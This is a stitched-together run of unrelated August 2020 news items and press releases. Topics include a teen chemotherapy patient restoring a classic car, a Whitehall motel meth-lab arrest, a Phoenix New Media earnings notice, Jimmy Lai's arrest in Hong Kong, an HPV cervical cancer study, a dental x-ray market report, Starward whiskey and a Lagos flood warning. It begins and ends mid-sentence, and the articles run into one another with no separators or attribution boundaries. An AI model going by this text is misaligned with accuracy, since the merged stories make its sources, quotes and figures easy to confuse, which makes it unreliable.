"Maria," he had scoured online ads as he was looking for the perfect car to rebuild. Earlier this year, Medcoff told CBS affiliate KBOI that he met Maria off the side of the road when he saw a sign that says she is for sale. After annoying his parents to buy him a classic car, he purchased Maria for $1,500. He believes that it was fate that brought her to him. See also: Teacher Used Own Money to Make Schooling Safe and Fun for Kids The teen stays strong for parents and other children. While Medcoff was trying to give new life to the classic car he bought, he was fighting for his life. After being diagnosed with a brain tumor in 2019, he is currently having chemotherapy to fight it. His father, Josh Medcoff, told NBC affiliate KTVB said that the chemo in the last four months started to get to his son. He believes that it wears his son more than Medcoff shows it. The teen stays strong for his parents and the other little kids in the hospital. He added that it was tough seeing the pain and everything that his son goes through. He explained that as Medcoff's parent, he wants to fix and take care of the pain that his son feels. See also: High Schoolers Turned Side Project into Humanitarian Tool Refused to receive charity Scott Reynolds of Harold's Auto Body heard how much fixing Maria meant to Medcoff. He offered help to fix his car. Reynolds reached out to the "Make-A-Wish Foundation" when he discovered that the car needed many repairs. He has hoped the organization could help them start the repair project. However, Medcoff refused to receive help from the foundation. The family friend, Reynolds, told KTVB that the selfless teen said that he does not want to take charity. Medcoff explained that he sees little kids with tubes and no hair who are throwing up and sick every week that he goes to chemo. He said that the children need to go to Disneyland and Hawaii more than he needs his car. See also: Mom Kept Cracked Duck Egg in Bra for 35 Days and Safely Hatches It [Heartwarming Story] Volunteers help make the teen's dream come true Medcoff's selflessness inspired Reynolds, who connected with people in town to help make the teen's dreams come true. The shop surprise-picked up Medcoff's Monterey in February to begin a full restoration. Reynold's told KTVB that he was amazed by the people working for him because they rendered thousands of hours of sacrifice. He believes that the time and money that they spent to change someone's life was worth it. As of writing, the GoFundMe page has already raised $7,900. Medcoff said that when he finally drives his car, it will mean everything in the world for him so that he will give something back to the people come September, the tentative schedule for full restoration of his car. WHITEHALL Two Whitehall men were arrested on Saturday for allegedly running a meth lab out of the Budget Inn, and one of the suspects is also accused of intentionally driving his car into the Champlain Canal the following day. State Police responded to the motel on Route 4 in Whitehall at about 5:30 p.m. Saturday, after receiving a complaint that two men living at the motel were cooking methamphetamine. Troopers interviewed 26-year-old David T. Duncan and found materials consistent with manufacturing of the drug in his room, police said. Police obtained a search warrant and the State Police Contaminated Crime Scene Emergency Response Team seized the meth. Duncan and 38-year-old Daniel S. Murray were each charged with felony counts of criminal possession of the precursors of methamphetamine manufacturing and third-degree unlawful manufacture of methamphetamine and misdemeanor second-degree criminal possession of meth manufacturing materials. Duncan is also accused of driving his car into the Champlain Canal the next day. Whitehall Police Sgt. Ryan Pedone said the department received a tip from a caller at about 3:15 p.m. Sunday about a vehicle floating in the canal. By the time units arrived, the vehicle was completely submerged, he said. Whitehall and Skenesborough fire departments responded to the scene and searched for the car, with assistance from a dive team from the Putnam Fire Department, according to Pedone. At about 6:30 p.m., they located the vehicle and found identification inside belonging to Duncan. Pedone said investigators were about to depart the scene at about 8 p.m., when they saw Duncan walking in the area. Duncan claimed that someone stole the vehicle, but witnesses told police they saw him in the area of the canal. He was seen walking away from the area of the boat launch dry, Pedone said. Duncan was charged with fourth-degree criminal mischief because, as the car sank, it hit a wall on the boat dock and caused some damage, according to Pedone. He is also facing multiple charges from the state Department of Environmental Conservation. Duncans motives for allegedly driving the vehicle into the canal are unclear, according to Pedone. Nothing noteworthy was found in the vehicle at the time it was driven into the canal, Pedone said. I believe all the evidence for the meth case was taken out of that vehicle, he said. Pedone said he was not sure if Duncan was trying to disappear from the area and wanted to leave the car behind to avoid being identified. Both Duncan and Murray were released from Washington County Jail and are due back in court at a later date. Because of the bail reform laws, the crimes were not eligible for bail. Motel causes concern The Budget Inn has been the frequent source of consternation for Whitehall residents and officials as it has earned a reputation for housing sex offenders, parolees and homeless families. In February, Coy A. Hill, of Rutland, Vermont, pleaded guilty to three burglary charges for a burglary spree in April and May 2020. He had been staying at the Budget Inn, and police found 250 pounds of meat stolen from The Local Butcher Shop nearby as well as a semiautomatic weapon. There were rumors on social media this past spring that the motel had been sold. Dave Brown purchased the property for $410,000 from New Snap 17 LLC on June 15, according to Washington County deed records. Pricella Bhatti, the sole member of the LLC, had first purchased the inn in 2014 from CKA Motels LLC for $1. She sold it the following year for $200,000 to SBPB LLC and then it was transferred to New Snap 17 for zero dollars in 2017. A telephone number listed on the motels Facebook page was out of service. A number for Brown could not be found. Whitehall Supervisor John Rozell said he had spoken with Brown, who said the motel was going to be a decent place. Rozell said Brown was putting in some new windows and air conditioning units. However, the issue is the clientele, Rozell said. It seems like its turning the other way, so law enforcement is going to do what they have to do, he said. I hate to see it go down, but its going downhill. Reach Michael Goot at 518-742-3320 or mgoot@poststar.com and follow his blog poststar.com/blogs/michael_goot/. Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Oklahoma City, OK -- (SBWIRE) -- 08/11/2020 -- Affordable Locksmith OKC provides locksmith services with a commitment to elite workmanship and customer satisfaction. From residential, commercial to auto locksmith services, everything is well catered to, 24/07/365, even on Sundays and holidays. Friendly, knowledgeable operators are employed to take customers' information, answer relevant questions and book service requests. Upon request placement, the crews reach the location within 15 minutes or less. The crews are highly skilled, factory trained and background screened to keep up with the standards in quality and customer security. The professionals are ready to travel to anywhere in the Greater Oklahoma City area, along with environs, such as Edmond, Yukon, Mustang, Moore, and Norman respectively. The spokesperson at Affordable Locksmith OKC recently stated, "Oklahomans searching for locksmiths in Oklahoma City more often end up with Affordable Locksmith OKC. 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BEIJING, Aug. 11, 2020 /PRNewswire/ -- Phoenix New Media Limited ("Phoenix New Media", "ifeng" or the "Company") (NYSE: FENG), a leading new media company in China, today announced that it will report its second quarter 2020 financial results on Monday, August 17, 2020 after the market closes. The earnings release will be available on ifeng's investor relations website at http://ir.ifeng.com. Following the earnings release, ifeng's management team will hold a conference call on Monday, August 17, 2020 at 9:00 p.m. Eastern Time (or Tuesday, August 18, 2020 at 9:00 a.m. Beijing/Hong Kong time) to discuss the financial results and operating performance. Due to the outbreak of COVID-19, operator assisted conference calls are not available at the moment. All participants must preregister online prior to the call to receive the dial-in numbers. Preregistration may require a few minutes to complete. Conference Call Preregistration Participants can register for the conference call by navigating to http://apac.directeventreg.com/registration/event/1199777. Once preregistration has been complete, participants will receive dial-in numbers, Direct Event Passcode, and registrant ID by email. Please dial in 10 minutes prior to the call, using the participant dial-in numbers, Direct Event Passcode and unique registrant ID which would be provided upon registering. You will be automatically linked to the live call after completion of this process. A replay of the call will be available through August 25, 2020 by dialing the following numbers: International: +61 2 8199 0299 Mainland China: 4006322162 Hong Kong: +852 30512780 United States: +1 646 254 3697 Conference ID: 1199777 A live and archived webcast of the conference call will also be available on the Company's investor relations website at http://ir.ifeng.com. About Phoenix New Media Limited Phoenix New Media Limited (NYSE: FENG) is a leading new media company providing premium content on an integrated Internet platform, including PC and mobile, in China. Having originated from a leading global Chinese language TV network based in Hong Kong, Phoenix TV, the Company enables consumers to access professional news and other quality information and share user-generated content on the Internet through their PCs and mobile devices. Phoenix New Media's platform includes its PC channel, consisting of ifeng.com website, which comprises interest-based verticals and interactive services; its mobile channel, consisting of mobile news applications, mobile video application and mobile Internet website; and its operations with the telecom operators that provides mobile value-added services. For investor and media inquiries please contact Phoenix New Media Limited Qing Liu Email: [email protected] ICR, Inc. Jack Wang Tel: +1 (646) 405-4883 Email: [email protected] SOURCE Phoenix New Media Limited Related Links http://ifeng.com The Kantanka Group of Companies is to introduce a new electronic vehicle in the Ghanaian market Kantanka Amoanimah EV. The company is still putting final touches to the first vehicle currently still being assembled in Ghana. Although the company is yet to outdoor the vehicle, pictures and videos of the assembling has flooded social media and some people have even gone ahead to put a price tag of between GH40,000 and GH45,000 on it. But in a tweet, the CEO of Kantanka Group of Companies, Kwadwo Safo Jnr debunked the price put out there on social media. He explained their latest car Kantanka Amoanimah EV is not selling at GH45,000 as published on social media. Hi, so am seeing 45k 45k on my new Kantanka Amoanimah and honestly dont know where that figure is coming from. My team and I havent finalized pricing on the vehicle so please hold on a bit. Will come out with the price by Friday. Thanks for the support guys, the tweet said. The move by Kantanka to go into assembling small vehicles is deemed as responding to the demand and bridging the competition of the Ghanaian market where smaller engine vehicles are popular in the mass market. Take a ride with me in the new Kantanka Amoanimah EV pic.twitter.com/chDOvDoGNi Kwadwo Safo Jnr (@kwadwosafo_Jnr) August 10, 2020 Source: Graphiconline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video HPV strains may impact cervical cancer prognosis An analysis of cervical cancers in Ugandan women has uncovered significant genomic differences between tumours caused by different strains of human papillomavirus (HPV), signifying HPV type may impact cervical cancer characteristics and prognosis. The study--recently published in Nature Genetics--was led by a team of researchers, including scientists at the University of British Columbia and Canada's Michael Smith Genome Sciences Centre (GSC) at BC Cancer, and represents the first comprehensive analysis of molecular characteristics of cervical cancers in an African population. The researchers compared cervical cancer samples infected by different evolutionary related groups of HPV types, known as clades. They identified previously unknown differences in how HPV clades impact the human genome. HPV-16 and HPV-18, belonging to clades A9 and A7, respectively, are the most common causes of cervical cancer detected in at least 70 per cent of cases. Although both are considered high-risk, HPV-18 was associated with more clinically aggressive cancers. "We are very grateful to have had the opportunity to engage in a wonderful collaboration, involving teams of researchers from different countries and continents, to use genome science to analyze these very precious samples from Ugandan patients," says Dr. Marco Marra, Director of the GSC and head of UBC's department of medical genetics in the faculty of medicine. "This opportunity speaks to the foresight of those who collaborated with the Uganda Cancer Institute in Kampala to perform sample collection, and the study funders that made it possible. We are especially grateful to the support of the patients, without whom this work could not have happened." HPV infection is a leading cause of cervical cancer. In B.C., cervical cancer incidence has been decreasing due to HPV vaccination and regular screening. However, cervical cancer is the fourth most common cancer worldwide and is the most common form of cancer-related mortality in sub-Saharan African women, with researchers predicting a 50 per cent increase in cervical cancer mortality by 2040. It is critically important to study cervical cancer in African populations, and to compare the results obtained to other HPV-associated cancers, such as head and neck cancers, which are being observed with increasing frequency in western populations. ### The Frederick National Laboratory for Cancer Research, currently operated by Leidos Biomedical Research, Inc., subcontracted the GSC for sequencing and bioinformatic analysis, contributing approximately 95 per cent ($3,135,324) of the project's funding. The remaining five per cent ($156,766) came from other non-government sources. This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. People hold up copies of the Apple Daily as they protest for press freedom inside a mall in Hong Kong on Aug. 11, 2020. (ISAAC LAWRENCE/AFP via Getty Images) Hongkongers Defiant After Latest Blow to Free Speech The communist regimes tightening grip on Hong Kong entered into a new phase after police arrested media mogul Jimmy Lai and raided the newsroom of his media outlet, stoking fears that Beijing is intent on extinguishing press freedoms. Lai, a strident critic of the Chinese Communist Party (CCP), was arrested on Aug. 10, along with his two sons, on allegations of collusion with foreign forces under the citys new national security law enacted by Beijing. Later that day, more than 200 police officers raided the newsroom of Lais newspaper Apple Daily, the citys largest pro-democracy outlet, and collected 25 boxes of evidence. On the same day, several other media and democracy figures were arrested, including prominent activist Agnes Chow. Police said 10 peoplenine men and one womanwere arrested on Aug. 10, without providing more details. The arrests and raid were met with sweeping condemnation from officials and activists around the world. This is the most outrageous assault yet on what is left of Hong Kongs free press, said Chris Patten, the last British governor of Hong Kong, in an Aug. 10 statement released by NGO Hong Kong Watch. The U.S. and UK governments expressed deep concern over the move, with the UK saying the arrests were further evidence of the national security law being used as a pretext to silence opposition. Hong Kong was a former British colony until the territory was handed back to China in 1997, with the regime pledging that it would allow the city a high level of autonomy and freedoms not enjoyed in the mainland. Freedoms Ending The CCP has presided over an intensifying campaign against pro-democracy forces in Hong Kong since the national security law came into effect last month. The law punishes any actions Beijing considers subversion, secession, terrorism, and collusion with foreign forces with up to life in prison. Prior to the laws implementation, Beijing and the Hong Kong government said that it would only be used against a small minority of criminals, and would not impinge on the citys freedoms. Since July, popular protest slogans have been banned, pro-democracy candidates have been disqualified from the legislative council elections, and pro-democracy activistsincluding teenagershave been arrested under the security law. Hong Kong leader Carrie Lam on July 31 announced that she would postpone the upcoming elections for one year, citing the CCP Virus outbreak. Activists, however, say the pro-Beijing government used the pandemic as an excuse to avoid a likely crushing defeat at the polls. Its very obvious that the regime and the government are using the national security law to suppress political dissidents, Chow told reporters after she was released on bail late Tuesday, adding that she was accused of colluding with foreign forces. Lai was later released on bail on early Wednesday. The regime has also wielded the law to pursue Hong Kong activists living overseas. On July 31, Hong Kong authorities issued arrest warrants for six advocates currently based abroad, including a U.S. citizen, accusing them of secession or collusion with foreign forces. Beijing said the security law has extraterritorial application, meaning it also applies to offenses committed outside the city by foreigners. Hongkongers Defiant Despite the growing suppression, Hongkongers have come out in support of the pro-democracy movement. Tuesdays edition of Apple Daily flew off the stands, with many locals lining up from early morning to buy the paper. Some supermarkets bought the newspaper and left it out for customers to take for free. Some protesters went to a mall in the town of Sha Tin and shouted slogans while holding the newspaper. At a mall in the busy district of Mong Kok, a middle-aged woman was carrying a hand-drawn sign depicting Apple Dailys logo. She said the newsroom raid was completely illegal, adding that she would continue to support the newspaper because without freedom of speech, Hong Kong will fall. Meanwhile, shares in Next Digital, the media company that publishes Apple Daily, surged after Lais arrest and on the following day, gaining more than 2,078 percent from last Fridays close, after online pro-democracy forums called on investors to show support. Its market value rose as high as HK$5.17 billion ($666.7 million) on Tuesday from some HK$200 million last Friday. In another show of support, long queues formed at lunchtime at the Cafe Seasons restaurant owned by Lais son Ian. Last week, the United States imposed sanctions on Hong Kong leader Carrie Lam and 10 other Chinese and Hong Kong officials over their roles in subverting the citys freedoms through implementing the new law. Beijing retaliated on Monday by sanctioning 11 U.S. citizens, including federal lawmakers and heads of U.S.-based nonprofits and rights groups. Jenny Wang, a strategic advisor at New York-based nonprofit Human Rights Foundation, said the arrests and raid were likely retaliation for the recent U.S. sanctions, adding that more arrests of pro-democracy figures are foreseeable in the coming weeks. The Chinese government will continue to utilize various tools from their authoritarian toolbox to suppress the voices of Hongkongers and to encroach on their freedoms, Wang told The Epoch Times. Eva Fu and Reuters contributed to this report. The on Tuesday said it is providing 1.65 million euro in humanitarian aid in response to severe flooding that has affected South Asiamost notably Bangladesh, India and Nepal. The funding comes on top of the 1.8 million euro announced earlier this year to support families affected by a series of disasters, including Cyclone Amphan that ravaged India and Bangladesh in May. This brings the total EU support to victims of disasters in the region to 3.45 million euro, EU's European Civil Protection and Humanitarian Aid Operations (ECHO) said in a statement. A further 500,000 euro will be used in India to provide food and livelihood assistance, emergency relief supplies, and water and sanitation services, it said. So far, this year's monsoon rains have impacted 10.9 million and has amplified people's vulnerabilities as they struggle to tackle the consequences of the global coronavirus pandemic, the statement said. "The monsoon rains across South Asia have been particularly devastating this year and this urgent contribution will help our humanitarian partners on the ground in providing crucial support to those who have lost their shelters, belongings and sources of livelihood," said Taheeni Thammannagoda, who oversees EU humanitarian programs in Asia and the Pacific. "Focusing on the worst affected countries, we are providing the means for people to survive through this difficult time so that they can get back on their feet as soon as possible," Thammannagoda said. The funding is part of the EU's Acute Large Emergency Response Tool (ALERT). Measures to prevent the spread of the coronavirus will be incorporated in all programming, the statement said. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Rajasthan Chief Minister Ashok Gehlot on Tuesday said it was his responsibility to address the grievances of MLAs. But why did the MLAs go and what promises were made to them, only they know it, Gehlot said. "If any MLA is annoyed with me, then it is my responsibility to address that. I have kept doing this in the past and will do this now also," Gehlot told reporters before leaving for Jaisalmer. Gehlot's announcement comes after rebel Congress leader Sachin Pilot's meeting with Rahul Gandhi on Monday night that signalled an "amicable resolution" of nearly a month-long political crisis in the state. Pilot revolted against Gehlot a month ago and told reporters on Monday that he and the other MLAs had raised organisational issues, the case of sedition filed by the SOG and the style of governance in the state, and expressed the hope that these will be addressed soon. Source: Xinhua| 2020-08-11 15:53:16|Editor: huaxia Video Player Close BEIJING, Aug. 11 (Xinhua) -- Sales of new-energy vehicles (NEVs) in China posted robust growth in July, as the world's largest auto market steadily expands its recovery, industry data showed. A total of 98,000 NEVs were sold last month, up 19.3 percent year on year, according to the China Association of Automobile Manufacturers (CAAM). In the first seven months, 486,000 NEVs were sold, down 32.8 percent year on year. CAAM data also showed that China's auto market maintained recovery momentum last month, as increasing demand and strengthening incentives have pushed positive market growth. Total output reached 2.2 million in July, up 21.9 percent year on year, while sales hit 2.1 million, up 16.4 percent year on year. China's auto market, which was hard-hit by the COVID-19 epidemic, started to recover in April, thanks to unleashed pent-up demand and encouraging policies, with sales rising by 4.4 percent year on year. This ended a contraction streak over the past 21 months, according to the CAAM. Enditem Punjab National Bank (PNB) Managing Director (MD) and Chief Executive Officer (CEO) S S Mallikarjuna Rao has said that stressed companies, especially MSMEs (micro, small, and medium enterprises), that have defaulted for more than 30 days should be granted benefits of loan restructuring scheme. The move would help stressed entities that have been impacted by COVID-19 pandemic. "The economy has been passing through tough times in the past two years, especially MSMEs (micro, small, and medium enterprises). We have seen that repayments generally came at the last minute and a majority of stressed accounts wouldn't slip into NPAs (non-performing assets) as the money is paid before it. We need to look at such customers too," Rao told Business Standard. Rao said that the loan recast scheme has been denied to entities, including MSMEs with exposure of above Rs 25 crore, who have defaulted on payments of more than 30 days. He said that the central bank need to look into these issues, and a special case should be made for such accounts. The Reserve Bank of India (RBI) on Thursday allowed banks to do a one-time restructuring of corporate and personal loans in the wake of massive disruptions caused by the coronavirus-induced nationwide lockdown. The decision will help banks maintain their asset quality while weathering the impact of coronavirus pandemic. The central bank has also set an expert committee under the chairmanship of K V Kamath that will make recommendations to the central bank on the required financial parameters, along with the sector-specific benchmark ranges for such parameters to be factored into resolution plans. As per RBI, the benefit of restructuring will be provided to corporates classified as standard accounts and not in default for more than 30 days with any lending institutions as on March 1, 2020. The apex bank has asked banks to recognise incipient stress in loan accounts, by classifying such assets as special mention accounts (SMA), before it becomes an NPA. SMA has been categorised as SMA-0, SMA-1 and SMA-2 accounts based on the period of overdue amount. SMA-0 are those accounts in which loan repayments are wholly or partly overdue for a period of up to 30 days, SMA-1 for period between 31 and 60 days, and SMA-2 for 61-90 days. According to rating agency CRISIL, loan recast scheme will help banks keep bad loans from reaching a two-decade high of 11.5 per cent, ratings agency CRISIL said. The primary beneficiaries of loan restructuring would be corporate and retails loan accounts with exposures below Rs 500 crore, it said. By Chitranjan Kumar Also Read: Loan restructuring to prevent NPAs from rising to two-decade high: CRISIL Also Read: RBI's 5 ground rules for corporate loan restructuring Dublin, Aug. 10, 2020 (GLOBE NEWSWIRE) -- The "Dental X-Ray Systems Market - Growth, Trends, and Forecasts (2020 - 2025)" report has been added to ResearchAndMarkets.com's offering. The dental x-ray systems market is expected to register a CAGR of 8.2% during the forecast period. X-rays are becoming an important part of the dental care plan. These x-rays are commonly used for the diagnostics and also for preventive measures to aid oral problems. X-rays are a kind of radiation, which is generally absorbed by tissues (denser tissues) and these rays pass through the soft tissues. As bones and teeth are the dense tissues, they absorb the rays and form an image. The dental x-ray systems market is primarily driven by the rising geriatric population, increasing burden of dental diseases, and recent technological advancements in dental imaging methodologies, which are enabling a more accurate diagnosis of dental disorders. According to the Centers for Disease Control and Prevention (CDC), half of the individuals in the United States aged 30 or older have periodontitis, which is a more advanced form of periodontal disease and this equals approximately 64.7 million individuals in the United States. In addition, according to the World Health Organization (WHO), estimated that severe periodontal (gum) disease is the 11th most prevalent disease globally. Furthermore, increasing demand for cosmetic dentistry is also supplementing the market growth. Thus, owing to the above factors the market is expected to grow in the coming years. Key Market Trends Digital X-ray Systems Segment is Expected to Hold a Major Market Share in the Dental X-Ray Systems Market The digital x-ray segment is expected to register significant growth. An increasing number of medical specialists are upgrading their analog systems to digital ones, owing to benefits, like increased speeds and flexibility. Furthermore, current generations of digital x-ray systems are equipped with the capabilities of integrated storage and data distribution tools, allowing seamless integration with the existing digital medical device infrastructure and widely used telehealth and EHR systems. Government organizations are also promoting the adoption of digital x-ray systems. The United States federal agency of Medicare and Medicaid Services introduced a policy to decrease Medicare reimbursements by 20%, for the medical tests employing analog x-ray systems. Thus, the procedural and operational advantages enabled by digital systems, coupled with government initiatives, are fueling the higher adoption of digital x-ray systems. North America is Expected to Hold a Significant Share in the Market and Expected to do Same in the Forecast Period North America expected to hold a major market share in the dental x-ray systems market. The primary factors behind the large market size are the high awareness among the patient population and high replacement rates of medical technologies. According to the American Dental Association (ADA) estimates, there are 10,658 orthodontists currently practicing in the United States which translates to about 3.27 orthodontists per every 100,000 population. Additionally, the rising geriatric population in this region is likely to contribute toward the growth of the dental digital x-ray systems market. Competitive Landscape The dental x-ray systems market is fairly consolidated, and is highly competitive. The market is dominated by a few global players that specialize in the imaging or dental equipment industries. Major market participants are competing on the fronts of increased portability, mobility, and advancements in imaging resolution. Key players in the market include Air Techniques Inc., Carestream Health Inc., Danaher Corporation, GE Healthcare, LED Medical Diagnostics Inc., Planmeca, Dentsply Sirona Inc., Valtech Co. Ltd, and Yoshida Dental, among others. Reasons to Purchase this report: The market estimate (ME) sheet in Excel format 3 months of analyst support Key Topics Covered: 1 INTRODUCTION 2 RESEARCH METHODOLOGY 3 EXECUTIVE SUMMARY 4 MARKET DYNAMICS 4.1 Market Overview 4.2 Market Drivers 4.2.1 Increasing Burden of Dental Diseases 4.2.2 Technological Advancements in Dental Imaging Methodologies 4.2.3 Increasing Demand for Cosmetic Dentistry 4.3 Market Restraints 4.3.1 High Cost of Dental Radiography Systems 4.4 Porter's Five Forces Analysis 4.4.1 Threat of New Entrants 4.4.2 Bargaining Power of Buyers/Consumers 4.4.3 Bargaining Power of Suppliers 4.4.4 Threat of Substitute Products 4.4.5 Intensity of Competitive Rivalry 5 MARKET SEGMENTATION 5.1 By Technology 5.1.1 Analog X-ray Systems 5.1.2 Digital X-ray Systems 5.2 By Procedure Type 5.2.1 Intraoral X-rays 5.2.1.1 Bite-wing X-rays 5.2.1.2 Periapical X-rays 5.2.1.3 Occlusal X-rays 5.2.2 Extraoral X-rays 5.2.2.1 Panoramic X-rays 5.2.2.2 Dental Computed Tomography 5.2.2.3 Cephalometric Projections 5.2.2.4 Other Extraoral X-rays 5.3 Geography 5.3.1 North America 5.3.1.1 United States 5.3.1.2 Canada 5.3.1.3 Mexico 5.3.2 Europe 5.3.2.1 Germany 5.3.2.2 United Kingdom 5.3.2.3 France 5.3.2.4 Italy 5.3.2.5 Spain 5.3.2.6 Rest of Europe 5.3.3 Asia-Pacific 5.3.3.1 China 5.3.3.2 Japan 5.3.3.3 India 5.3.3.4 Australia 5.3.3.5 South Korea 5.3.3.6 Rest of Asia-Pacific 5.3.4 Middle-East & Africa 5.3.4.1 GCC 5.3.4.2 South Africa 5.3.4.3 Rest of Middle-East & Africa 5.3.5 South America 5.3.5.1 Brazil 5.3.5.2 Argentina 5.3.5.3 Rest of South America 6 COMPETITIVE LANDSCAPE 6.1 Company Profiles 6.1.1 Air Techniques Inc. 6.1.2 Carestream Health Inc. 6.1.3 Danaher Corporation 6.1.4 GE Healthcare 6.1.5 LED Medical Diagnostics Inc. 6.1.6 Planmeca 6.1.7 Sirona Dental Systems Inc. 6.1.8 Valtech Co. Ltd 6.1.9 Yoshida Dental 7 MARKET OPPORTUNITIES AND FUTURE TRENDS For more information about this report visit https://www.researchandmarkets.com/r/ody1yx Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Courtesy Starward Japanese whiskey, once a fledgling imitation of Scotch that held appeal for only a small number of enthusiasts, has in the past few years attracted a global following of devotees. And so those in the vanguard of the spirits world are looking elsewhere for the next big thing in whiskey. Among a handful of far-flung locales, Australia has emerged as the one most capable of producing world-class whiskeys and has started to garner mainstream attention from abroad. One major reason for the recognition is that top Australian distiller Starward has recently begun making some of its whiskey available in the U.S. for the first time. Courtesy Starward Starward, was founded by the talented David Vitale in 2007 in Melbourne, the foodie capital of Australia, and his whiskey is tailor-made for a curious, food-obsessed generation. Starward whiskeys are indisputably modern, matured in red wine barrels from some of Australias most renowned vineyards and wineries, expanding our notions of what whiskey can be, but theres more to it than that. Our core ethos is built on the foundation of an approachable whiskey fusing old and new, the brand notes. The Old World is represented by using traditional copper stills to produce a classic whiskey, while the maturation methods and above all the attitude is decidedly New World. Courtesy Starward All of the ingredients used to distill Starward are sourced from Melbourne and its surrounding areas, making it a truly local endeavor. While the barrels they use represent a broad cross section of big Australian reds, their favorite are ex-Shiraz barrels from the Barossa Valleywhich by their nature, and Starwards minimal intervention / quick turnaround approach, retain much of their original character, which comes through in the flavor and texture of the whiskey. As Vitale and co. have discovered, it holds strong appeal for American connoisseurs, who have long been partial to Australian wines. So does Starwards focus on design; it makes some of the most aesthetically beautiful bottles of whiskey in the world. Courtesy Starward Weve found American drinkers that try our whiskey generally appreciate the distinctive but approachable flavor profile that aging in Aussie wine barrels provides, Vitale tells JustLuxe. It delivers on the promise of a well-crafted whiskey, but does in a distinctly Australian way. Also in line with a newer approach is that Starward whiskeys are well-suited to cocktails, of numerous kinds, as much as sipping neat or on the rocks. The fruitiness also brings to life cocktails and mixed drinks in a way that other whiskeys cant, Vitale notes. Quite often we're riffing of gin and rum cocktails as much as we are classic whiskey cocktails. All of this goes a long way toward explaining the accolades Starward has received, including being recently named Best Australian Whisky Innovator from Icons of Whisky and crowned Best Australian Single Malt by the World Whiskies Awards in 2016 and 2017. Starward currently has two expressions available in the United States: Nova Single Malt Whisky and Two-Fold Double Grain Whisky. Since its Australian debut in 2016, Starward Nova, made from 100% Australian malted barley and fully matured in uncharred Australian wine barrels, has won two gold medals at the San Francisco World Spirits Competition for both the Worlds Best Craft Distilled Whisky and the Best Australian Single Malt Whisky. Courtesy Starward Starward Two-Fold Double Grain Whisky meanwhile brings together two quintessential Australian grains in the bottle: wheat (60%) and malt (40%) from Nova Single Malt. Designed to be the ideal tasting whiskey, the malted barley gives it depth, while the wheat provides an aromatic and dry note; the red wine barrel maturation imparts ripe fruit and spice flavors to round it out. Suggested servings include a highball with soda for the aromatic spicy character to come through, while a Boulevardier cocktail brings out the notes of baking spices, and a Two-Fold and Tonic will make one start to wonder why they need gin in life. When I envisioned Two-Fold, I was inspired by Melbournes world-class foodie scene, Vitale, explains. Were obsessed with excellence in all types of food and drink without getting too serious or formal about it. I wanted to create a whiskey for us to enjoy and celebrate alongside our world-class craft beers, wines and amazing food. We found that wheat and malted barley create the perfect backdrop for our red wine barrels to shine both as a neat and easy drinking whiskey but also mixed, in a cocktail or at the barbie we are Australian after all! It has already won a World Whisky Award as Australias Best Blended Whisky. Here Vitale talks about some of the famed Australian wineries and distilleries which influenced him in embarking on a career of making cult whiskey. Most are open to visitors during the normal course of business, but anyone making a pilgrimage to Australia to sample all of the delicious wines and whiskeys firsthand would do well to make Starwards own industrial chic Port Melbourne distillery and tasting room their first stop. Courtesy Starward Lark Distillery: "This is where everything started for me. This is the first moment where I was exposed to single malt whiskey and learned that we can make whiskey in Australia as good as any in the world, which was pretty exciting for me. It was so exciting, in fact, that I convinced (founder) Bill Lark to give me a job and work with him for a few years learning how to make whiskey. Therefore Lark has a very sentimental place in my heart from an Australian whiskey standpoint but also as a milestone point in my life. The thing that Bill Lark did really well was set up an environment where it was okay to share knowledge and be generous with what you learned. He understood clearly that an industry of just one player wasnt going to be an industry for very long. He was very supportive in establishing a lot of the other Tasmanian distilleries early on, the least of which was Sullivans Cove, which was basically run by Bill and Patrick Maguire for the better part of the first year and a half. Courtesy Starward Sullivans Cove: Sullivans Cove is a really important part of the Australian whiskey story because they really put Australia on the map in 2014 when they won the title Worlds Best Single Malt Whisky from the World Whiskies Awards. The saying goes that a high tide rises all boats. Thats certainly the case of the award lifting the tide of every single distillery in Australia and giving us an opportunity to not have to persuade people to try our whiskeys anymore. Starward is probably the biggest benefactor in comparison to other distilleries of Sullivans Coves World Whiskies Award because we had enough whiskey available and were able to build momentum off the back of that award, and interest in Australian whiskey, so that when people went to retailers, there was an Australian whiskey they could try at an accessible price point. Nant Distillery: Nant distillery was instrumental in the Australian whiskey context by building a wonderful visitor experience at their distillery, showcasing to others what kind of impact this could have for distilleries in general. The environment is quite bucolic. It really proves that you can build something that is quite romantic and close to the agriculture of where the barley grows, which has proven to be interesting and exciting for people who visit." Courtesy Starward Yalumba Winery: We wouldnt have Starward today, particularly Nova, without Yalumba Winery and the amazing barrels that they provide us. Early on, we were fortunate to be able to source barrels straight from the winery because they couldnt get rid of them fast enough. The magical thing about Yalumba is that they have their own cooperage, allowing us to speak directly with winemakers about their thoughts on their wood policy. In addition, they gave us access to their barrel coopers to learn more about where they source these barrels and where they were coopered. The level of detail that we can get from these winemakers is next level. The ability for us to work with them to learn how to make great Australian whiskey matured in wine barrels has been an instrumental part of our story. Courtesy Nant Distillery Courtesy De Bortoli Winery De Bortoli Winery: The great relationship with our partner wineries also extends, particularly in the state of Victoria, with some of our other partner wineries like De Bortoli. Not all of their big red wines necessarily spend a lot of time in wine barrels, but the ones that do are really quite distinctive and special for us. With Starward being so close to the wine-growing regions, this enables us to be able to have a chat with the winemaker in the afternoon and the next day receive their used barrels at the distillery and immediately fill with our new make spirit to begin the maturation process. That goes for all the local wineries like Pikes, Penfolds, Punt Road and De Bortoli, who have been great partners and have helped us scale up the production of Starward Nova to a level where we can start exporting around the world. Courtesy Pike's Winery Courtesy Yalumba Winery The National Emergency Management Agency (NEMA) on Tuesday warned that no fewer than eight million residents of Lagos State were prone to flood disaster. The Acting Coordinator, Lagos Territorial Office of NEMA, Ibrahim Farinloye, made this known at the flag-off of the Door to Door 2020 Flood Awareness and Sensitisation Campaign on Prevention, Management and Mitigation of Flood in Mushin. The awareness campaigns in high risk flood prone areas in Lagos, which kicked off from Mushin was accompanied with a walk show. Mr Farinloye said the agency was in partnership with the Lagos State Emergency Management Agency (LASEMA), Red Cross, and public health practitioners. He said this is to ensure that critical people, 